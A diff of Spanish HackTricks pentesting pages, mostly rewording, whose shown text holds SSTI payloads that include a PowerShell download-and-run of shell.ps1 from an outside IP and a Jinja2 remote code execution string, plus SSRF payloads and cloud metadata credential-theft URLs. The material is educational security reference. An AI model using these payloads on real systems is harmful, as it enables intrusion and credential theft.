 | unmagicquotes.py             | Reemplaza el carácter de comillas \('\) con una combinación de múltiples bytes %bf%27 junto con un comentario genérico al final \(para que funcione\) |
-| uppercase.py                 | Reemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT'                                                       |
-| varnish.py                   | Agrega un encabezado HTTP 'X-originating-IP'                                                                                        |
-| versionedkeywords.py         | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado                                                    |
-| versionedmorekeywords.py     | Envuelve cada palabra clave con un comentario de MySQL versionado                                                                  |
-| xforwardedfor.py             | Agrega un encabezado HTTP falso 'X-Forwarded-For'                                                                                  |
+| uppercase.py                 | Reemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT'                                                        |
+| varnish.py                   | Agrega un encabezado HTTP 'X-originating-IP'                                                                                       |
+| versionedkeywords.py         | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado                                                      |
+| versionedmorekeywords.py     | Envuelve cada palabra clave con un comentario de MySQL versionado                                                                    |
+| xforwardedfor.py             | Agrega un encabezado HTTP falso 'X-Forwarded-For'                                                                                    |
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md
index fc7862f77..37ba556e1 100644
--- a/src/pentesting-web/sql-injection/sqlmap/README.md
+++ b/src/pentesting-web/sql-injection/sqlmap/README.md
@@ -151,8 +151,8 @@ Recuerda que **puedes crear tu propio tamper en python** y es muy simple. Puedes
 | commalessmid.py              | Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)'                                                                |
 | concat2concatws.py           | Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                              |
 | charencode.py                | Codifica en URL todos los caracteres en una carga útil dada (sin procesar los ya codificados)                                      |
-| charunicodeencode.py         | Codifica en URL unicode los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "%u0022"           |
-| charunicodeescape.py         | Codifica en URL unicode los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "\u0022"           |
+| charunicodeencode.py         | Codifica en URL unicode los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "%u0022"          |
+| charunicodeescape.py         | Codifica en URL unicode los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "\u0022"          |
 | equaltolike.py               | Reemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE'                                                    |
 | escapequotes.py              | Escapa las comillas (' y ")                                                                                                        |
 | greatest.py                  | Reemplaza el operador mayor que ('>') con su contraparte 'GREATEST'                                                                |
@@ -166,16 +166,16 @@ Recuerda que **puedes crear tu propio tamper en python** y es muy simple. Puedes
 | overlongutf8.py              | Convierte todos los caracteres en una carga útil dada (sin procesar los ya codificados)                                           |
 | randomcase.py                | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio                                                            |
 | randomcomments.py            | Agrega comentarios aleatorios a las palabras clave SQL                                                                              |
-| securesphere.py              | Agrega una cadena especialmente elaborada                                                                                           |
-| sp_password.py               | Agrega 'sp_password' al final de la carga útil para ofuscación automática de los registros de DBMS                                 |
-| space2comment.py             | Reemplaza el carácter de espacio (' ') con comentarios                                                                               |
+| securesphere.py              | Agrega una cadena especialmente elaborada                                                                                            |
+| sp_password.py               | Agrega 'sp_password' al final de la carga útil para la ofuscación automática de los registros de DBMS                               |
+| space2comment.py             | Reemplaza el carácter de espacio (' ') con comentarios                                                                              |
 | space2dash.py                | Reemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de una cadena aleatoria y una nueva línea ('\n')   |
 | space2hash.py                | Reemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una cadena aleatoria y una nueva línea ('\n')      |
 | space2morehash.py            | Reemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una cadena aleatoria y una nueva línea ('\n')      |
 | space2mssqlblank.py          | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos          |
 | space2mssqlhash.py           | Reemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una nueva línea ('\n')                            |
 | space2mysqlblank.py          | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos          |
-| space2mysqldash.py           | Reemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de una nueva línea ('\n')                        |
+| space2mysqldash.py           | Reemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de una nueva línea ('\n')                          |
 | space2plus.py                | Reemplaza el carácter de espacio (' ') con un más ('+')                                                                             |
 | space2randomblank.py         | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos          |
 | symboliclogical.py           | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y                                                     |
@@ -183,7 +183,7 @@ Recuerda que **puedes crear tu propio tamper en python** y es muy simple. Puedes
 | unmagicquotes.py             | Reemplaza el carácter de comillas (') con una combinación de múltiples bytes %bf%27 junto con un comentario genérico al final (para que funcione) |
 | uppercase.py                 | Reemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT'                                                       |
 | varnish.py                   | Agrega un encabezado HTTP 'X-originating-IP'                                                                                        |
-| versionedkeywords.py         | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado                                                     |
+| versionedkeywords.py         | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado                                                      |
 | versionedmorekeywords.py     | Envuelve cada palabra clave con un comentario de MySQL versionado                                                                   |
 | xforwardedfor.py             | Agrega un encabezado HTTP falso 'X-Forwarded-For'                                                                                  |
 
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
index 6025088ae..1865a98bf 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
@@ -129,11 +129,11 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
 
 ## SSRF con Inyección de Comandos
 
-Puede valer la pena probar una carga útil como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
+Podría valer la pena probar una carga útil como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
 
 ## Renderización de PDFs
 
-Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar algo de JS que será ejecutado por el creador del PDF** (el servidor) mientras se crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
+Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar algún JS que será ejecutado por el creador de PDF** (el servidor) mientras se crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
 
 ## De SSRF a DoS
 
@@ -149,7 +149,7 @@ Consulta la siguiente página para funciones PHP vulnerables e incluso funciones
 
 ## Redirección SSRF a Gopher
 
-Para algunas explotaciones, es posible que necesites **enviar una respuesta de redirección** (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en python para responder con una redirección:
+Para algunas explotaciones, podrías necesitar **enviar una respuesta de redirección** (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en python para responder con una redirección:
 ```python
 # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
 from http.server import HTTPServer, BaseHTTPRequestHandler
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
index 45e65f315..860a2eb8f 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
@@ -11,9 +11,9 @@
 Hay **2 versiones** del endpoint de metadatos. La **primera** permite **acceder** al endpoint a través de solicitudes **GET** (por lo que cualquier **SSRF puede explotarlo**). Para la **versión 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), necesitas solicitar un **token** enviando una solicitud **PUT** con un **encabezado HTTP** y luego usar ese token para acceder a los metadatos con otro encabezado HTTP (por lo que es **más complicado de abusar** con un SSRF).
 
 > [!CAUTION]
-> Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, lo que hace imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2.
+> Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, haciendo imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2.
 >
-> Además, **IMDSv2** también **bloqueará las solicitudes para obtener un token que incluyan el encabezado `X-Forwarded-For`**. Esto es para evitar que proxies inversos mal configurados puedan acceder a él.
+> Además, **IMDSv2** también **bloqueará las solicitudes para obtener un token que incluyan el encabezado `X-Forwarded-For`**. Esto es para prevenir que proxies inversos mal configurados puedan acceder a él.
 
 Puedes encontrar información sobre los [endpoints de metadatos en la documentación](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). En el siguiente script se obtiene información interesante de él:
 ```bash
@@ -79,7 +79,7 @@ Como un **ejemplo expuesto de credenciales IAM disponibles públicamente**, pued
 
 También puedes verificar **credenciales de seguridad EC2 públicas** en: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
 
-Luego puedes tomar **esas credenciales y usarlas con el AWS CLI**. Esto te permitirá hacer **cualquier cosa que ese rol tenga permiso** para hacer.
+Luego puedes tomar **esas credenciales y usarlas con el AWS CLI**. Esto te permitirá hacer **cualquier cosa que ese rol tenga permisos** para hacer.
 
 Para aprovechar las nuevas credenciales, necesitarás crear un nuevo perfil de AWS como este:
 ```
@@ -94,7 +94,7 @@ Nota el **aws_session_token**, esto es indispensable para que el perfil funcione
 
 ### SSRF en credenciales de AWS ECS (Servicio de Contenedores)
 
-**ECS** es un grupo lógico de instancias de EC2 en el que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clústeres porque ECS gestiona eso por ti. Si logras comprometer un servicio que se ejecuta en **ECS**, los **puntos finales de metadatos cambian**.
+**ECS** es un grupo lógico de instancias EC2 en el que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clústeres porque ECS gestiona eso por ti. Si logras comprometer un servicio que se ejecuta en **ECS**, los **puntos finales de metadatos cambian**.
 
 Si accedes a _**http://169.254.170.2/v2/credentials/\<GUID>**_ encontrarás las credenciales de la máquina ECS. Pero primero necesitas **encontrar el \<GUID>**. Para encontrar el \<GUID> necesitas leer la variable **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** dentro de la máquina.\
 Podrías ser capaz de leerlo explotando un **Path Traversal** a `file:///proc/self/environ`\
@@ -137,17 +137,17 @@ Luego usamos las credenciales con `aws s3 ls s3://elasticbeanstalk-us-east-2-[AC
 
 ## GCP <a href="#id-6440" id="id-6440"></a>
 
-Puedes [**encontrar aquí la documentación sobre los endpoints de metadatos**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
+Puedes [**encontrar aquí la documentación sobre los puntos finales de metadatos**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
 
 ### URL SSRF para Google Cloud <a href="#id-6440" id="id-6440"></a>
 
-Requiere el encabezado HTTP **`Metadata-Flavor: Google`** y puedes acceder al endpoint de metadatos con las siguientes URLs:
+Requiere el encabezado HTTP **`Metadata-Flavor: Google`** y puedes acceder al punto final de metadatos con las siguientes URL:
 
 - http://169.254.169.254
 - http://metadata.google.internal
 - http://metadata
 
-Endpoints interesantes para extraer información:
+Puntos finales interesantes para extraer información:
 ```bash
 # /project
 # Project name and number
@@ -299,7 +299,7 @@ done
 ## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
 
 > [!WARNING]
-> No hay cosas como AWS Roles o cuentas de servicio de GCP, así que no esperes encontrar credenciales de bot de metadatos
+> No existen cosas como AWS Roles o cuentas de servicio de GCP, así que no esperes encontrar credenciales de bot de metadatos
 
 Documentación disponible en [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
 ```
@@ -323,11 +323,11 @@ curl http://169.254.169.254/metadata/v1.json | jq
 - No debe **contener** un encabezado `X-Forwarded-For`
 
 > [!TIP]
-> Una Azure VM puede tener adjunta 1 identidad administrada por el sistema y varias identidades administradas por el usuario. Lo que básicamente significa que puedes **suplantar todas las identidades administradas adjuntas a una VM**.
+> Una Azure VM puede tener 1 identidad administrada por el sistema y varias identidades administradas por el usuario. Lo que básicamente significa que puedes **suplantar todas las identidades administradas adjuntas a una VM**.
 >
 > Por **defecto**, el punto final de metadatos utilizará la **MI asignada por el sistema (si la hay)**.
 >
-> Desafortunadamente, no pude encontrar ningún punto final de metadatos que indique todas las MIs que tiene adjunta una VM.
+> Desafortunadamente, no pude encontrar ningún punto final de metadatos que indique todas las MIs que tiene una VM adjuntas.
 >
 > Por lo tanto, para encontrar todas las MIs adjuntas puedes hacer:
 >
@@ -593,7 +593,7 @@ Oracle Cloud proporciona una serie de puntos finales para acceder a varios aspec
 
 ## Alibaba
 
-Alibaba ofrece puntos finales para acceder a metadatos, incluidos los IDs de instancia e imagen:
+Alibaba ofrece puntos finales para acceder a metadatos, incluidos los ID de instancia e imagen:
 
 - `http://100.100.100.200/latest/meta-data/`
 - `http://100.100.100.200/latest/meta-data/instance-id`
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
index 32d5c10ae..e06c69d81 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
@@ -79,7 +79,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
 
 La **extensión de Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa bypasses de formato de IP.
 
-### Analizador de dominios
+### Analizador de Dominio
 ```bash
 https:attacker.com
 https:/attacker.com
@@ -196,7 +196,7 @@ El _truco de barra invertida_ explota una diferencia entre el [WHATWG URL Standa
 
 ### Corchete cuadrado izquierdo
 
-El carácter “corchete cuadrado izquierdo” `[` en el segmento de información del usuario puede hacer que UriComponentsBuilder de Spring devuelva un valor de nombre de host que difiere de los navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
+El carácter “corchete cuadrado izquierdo” `[` en el segmento de información del usuario puede hacer que el UriComponentsBuilder de Spring devuelva un valor de nombre de host que difiere de los navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
 
 ### Otras Confusiones
 
diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md
index 40ba6ffb7..a4c7aa1d5 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/README.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/README.md
@@ -26,9 +26,9 @@ Para prevenir vulnerabilidades de inyección de plantillas del lado del servidor
 Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialmente, **fuzzing de la plantilla** es un enfoque sencillo. Esto implica inyectar una secuencia de caracteres especiales (**`${{<%[%'"}}%\`**) en la plantilla y analizar las diferencias en la respuesta del servidor a datos regulares frente a este payload especial. Los indicadores de vulnerabilidad incluyen:
 
 - Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
-- Ausencia del payload en la reflexión, o partes de él faltando, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
+- Ausencia del payload en la reflexión, o partes de él faltantes, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
 - **Contexto de Texto Plano**: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
-- **Contexto de Código**: Confirmar la vulnerabilidad alterando parámetros de entrada. Por ejemplo, cambiar `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
+- **Contexto de Código**: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiando `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
 
 #### Fase de Identificación
 
@@ -204,7 +204,7 @@ el-expression-language.md
 ```
 **Eludir filtros**
 
-Se pueden usar múltiples expresiones de variables, si `${...}` no funciona, prueba `#{...}`, `*{...}`, `@{...}` o `~{...}`.
+Se pueden usar múltiples expresiones de variable; si `${...}` no funciona, prueba `#{...}`, `*{...}`, `@{...}` o `~{...}`.
 
 - Leer `/etc/passwd`
 ```java
@@ -387,7 +387,7 @@ el-expression-language.md
 
 ### Groovy (Java)
 
-Las siguientes elusiones del Security Manager se tomaron de este [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
+Las siguientes elusiones del Security Manager fueron tomadas de este [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
 ```java
 //Basic Payload
 import groovy.*;
@@ -594,7 +594,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
 
 <figure><img src="../../images/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
 
-- Más info en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
+- Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
 
 ### Jade (NodeJS)
 ```javascript
@@ -923,7 +923,7 @@ El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cu
 - `<%= 7*7 %>` = 49
 - `<%= "foo" %>` = foo
 - `<%= foo %>` = Nada
-- `<%= response.write(date()) %>` = \<Date>
+- `<%= response.write(date()) %>` = \<Fecha>
 ```xml
 <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
 ```
diff --git a/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md b/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
index 9b017f757..f11fd2a89 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
@@ -67,7 +67,7 @@ Nota cómo en el ejemplo anterior el término `{5*5}` fue **evaluado**.
 
 ## **Tutorial basado en CVE**
 
-Consúltalo en **esta publicación:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
+Revísalo en **esta publicación:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
 
 ## Payloads
 
diff --git a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
index 9c85c5f06..3d46fef3c 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
@@ -159,7 +159,7 @@ La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos
 {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
 
 ```
-Para aprender sobre **más clases** que puedes usar para **escapar** puedes **consultar**:
+Para aprender sobre **más clases** que puedes usar para **escapar**, puedes **consultar**:
 
 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@@ -250,7 +250,7 @@ Sin **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
 Desde los [**objetos globales**](jinja2-ssti.md#accessing-global-objects) hay otra forma de llegar a **RCE sin usar esa clase.**\
 Si logras acceder a alguna **función** de esos objetos globales, podrás acceder a **`__globals__.__builtins__`** y desde allí el **RCE** es muy **sencillo**.
 
-Puedes **encontrar funciones** de los objetos **`request`**, **`config`** y cualquier **otro** **objeto global** interesante al que tengas acceso con:
+Puedes **encontrar funciones** en los objetos **`request`**, **`config`** y cualquier **otro** **objeto global** interesante al que tengas acceso con:
 ```bash
 {{ request.__class__.__dict__ }}
 - application
@@ -322,7 +322,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
 ## Referencias
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
-- Ver [truco de attr para eludir caracteres en la lista negra aquí](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
+- Ver [attr trick para eludir caracteres en la lista negra aquí](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
 - [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
 - [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
 
diff --git a/src/pentesting-web/timing-attacks.md b/src/pentesting-web/timing-attacks.md
index 8d3868cc2..4c9dd9fe6 100644
--- a/src/pentesting-web/timing-attacks.md
+++ b/src/pentesting-web/timing-attacks.md
@@ -29,8 +29,8 @@ En la misma investigación, se compartió que la técnica de temporización era
 Una vez que se descubre un proxy abierto con alcance, fue posible encontrar objetivos válidos analizando subdominios conocidos del objetivo y esto permitió:
 
 - **Eludir cortafuegos** accediendo a subdominios restringidos a través del **proxy abierto** en lugar de a través de Internet.
-- Además, abusar de un **proxy abierto** también es posible para **descubrir nuevos subdominios solo accesibles internamente.**
-- **Ataques de suplantación de Front-End**: Los servidores de front-end normalmente añaden encabezados para el backend como `X-Forwarded-For` o `X-Real-IP`. Los proxies abiertos que reciben estos encabezados los añadirán al endpoint solicitado, por lo tanto, un atacante podría acceder a aún más dominios internos al añadir estos encabezados con valores en la lista blanca.
+- Además, abusar de un **proxy abierto** también es posible **descubrir nuevos subdominios solo accesibles internamente.**
+- **Ataques de suplantación de Front-End**: Los servidores de front-end normalmente añaden encabezados para el backend como `X-Forwarded-For` o `X-Real-IP`. Los proxies abiertos que reciben estos encabezados los añadirán al punto final solicitado, por lo tanto, un atacante podría acceder a aún más dominios internos al añadir estos encabezados con valores en la lista blanca.
 
 ## References
 
diff --git a/src/pentesting-web/unicode-injection/README.md b/src/pentesting-web/unicode-injection/README.md
index f530a1152..2496271cd 100644
--- a/src/pentesting-web/unicode-injection/README.md
+++ b/src/pentesting-web/unicode-injection/README.md
@@ -42,7 +42,7 @@ $str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
 
 echo "String: " . $str;
 ```
-Listas de emojis:
+Listas de Emoji:
 
 - [https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv)
 - [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md
index cfea37432..224915230 100644
--- a/src/pentesting-web/unicode-injection/unicode-normalization.md
+++ b/src/pentesting-web/unicode-injection/unicode-normalization.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Este es un resumen de:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Echa un vistazo para más detalles (imágenes tomadas de allí).
+**Este es un resumen de:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consulta para más detalles (imágenes tomadas de allí).
 
 ## Entendiendo Unicode y Normalización
 
@@ -11,11 +11,11 @@ La normalización de Unicode es un proceso que asegura que diferentes representa
 1. **Equivalencia Canónica**: Los caracteres se consideran canónicamente equivalentes si tienen la misma apariencia y significado cuando se imprimen o muestran.
 2. **Equivalencia de Compatibilidad**: Una forma más débil de equivalencia donde los caracteres pueden representar el mismo carácter abstracto pero pueden mostrarse de manera diferente.
 
-Hay **cuatro algoritmos de normalización de Unicode**: NFC, NFD, NFKC y NFKD. Cada algoritmo emplea técnicas de normalización canónica y de compatibilidad de manera diferente. Para una comprensión más profunda, puedes explorar estas técnicas en [Unicode.org](https://unicode.org/).
+Existen **cuatro algoritmos de normalización de Unicode**: NFC, NFD, NFKC y NFKD. Cada algoritmo emplea técnicas de normalización canónica y de compatibilidad de manera diferente. Para una comprensión más profunda, puedes explorar estas técnicas en [Unicode.org](https://unicode.org/).
 
-### Puntos Clave sobre la Codificación Unicode
+### Puntos Clave sobre la Codificación de Unicode
 
-Entender la codificación Unicode es fundamental, especialmente al tratar con problemas de interoperabilidad entre diferentes sistemas o lenguajes. Aquí están los puntos principales:
+Entender la codificación de Unicode es fundamental, especialmente al tratar con problemas de interoperabilidad entre diferentes sistemas o lenguajes. Aquí están los puntos principales:
 
 - **Puntos de Código y Caracteres**: En Unicode, a cada carácter o símbolo se le asigna un valor numérico conocido como "punto de código".
 - **Representación en Bytes**: El punto de código (o carácter) se representa mediante uno o más bytes en memoria. Por ejemplo, los caracteres LATIN-1 (comunes en países de habla inglesa) se representan utilizando un byte. Sin embargo, los idiomas con un conjunto más grande de caracteres necesitan más bytes para su representación.
@@ -43,7 +43,7 @@ Otro **ejemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%
 
 Imagina una página web que está utilizando el carácter `'` para crear consultas SQL con la entrada del usuario. Esta web, como medida de seguridad, **elimina** todas las ocurrencias del carácter **`'`** de la entrada del usuario, pero **después de esa eliminación** y **antes de la creación** de la consulta, **normaliza** usando **Unicode** la entrada del usuario.
 
-Entonces, un usuario malicioso podría insertar un carácter Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, cuando la entrada se normaliza, se crea una comilla simple y aparece una **vulnerabilidad de SQL Injection**:
+Entonces, un usuario malicioso podría insertar un carácter Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, cuando la entrada se normaliza, se crea una comilla simple y aparece una **vulnerabilidad de inyección SQL**:
 
 ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
 
@@ -83,15 +83,15 @@ Puedes usar uno de los siguientes caracteres para engañar a la webapp y explota
 
 ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
 
-Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto puede enviarse como: `%e2%89%ae` o como `%u226e`
+Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto puede ser enviado como: `%e2%89%ae` o como `%u226e`
 
 ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
 
 ### Fuzzing Regexes
 
-Cuando el backend está **verificando la entrada del usuario con una regex**, puede ser posible que la **entrada** esté siendo **normalizada** para la **regex** pero **no** para donde se está **usando**. Por ejemplo, en un Open Redirect o SSRF, la regex podría estar **normalizando la URL enviada** pero luego **accediéndola tal como está**.
+Cuando el backend está **verificando la entrada del usuario con una regex**, puede ser posible que la **entrada** esté siendo **normalizada** para la **regex** pero **no** para donde se está **usando**. Por ejemplo, en un Open Redirect o SSRF, la regex podría estar **normalizando la URL enviada** pero luego **accediendo a ella tal como está**.
 
-La herramienta [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permite **generar variaciones de la entrada** para hacer fuzzing al backend. Para más información, consulta el **github** y este [**post**](https://0xacb.com/2022/11/21/recollapse/).
+La herramienta [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permite **generar variaciones de la entrada** para fuzzear el backend. Para más información, consulta el **github** y este [**post**](https://0xacb.com/2022/11/21/recollapse/).
 
 ## Referencias
 
diff --git a/src/pentesting-web/uuid-insecurities.md b/src/pentesting-web/uuid-insecurities.md
index 6b2ae1721..0578ce834 100644
--- a/src/pentesting-web/uuid-insecurities.md
+++ b/src/pentesting-web/uuid-insecurities.md
@@ -42,7 +42,7 @@ Imagina una aplicación web que utiliza UUID v1 para generar enlaces de restable
 
 3. **Análisis**:
 
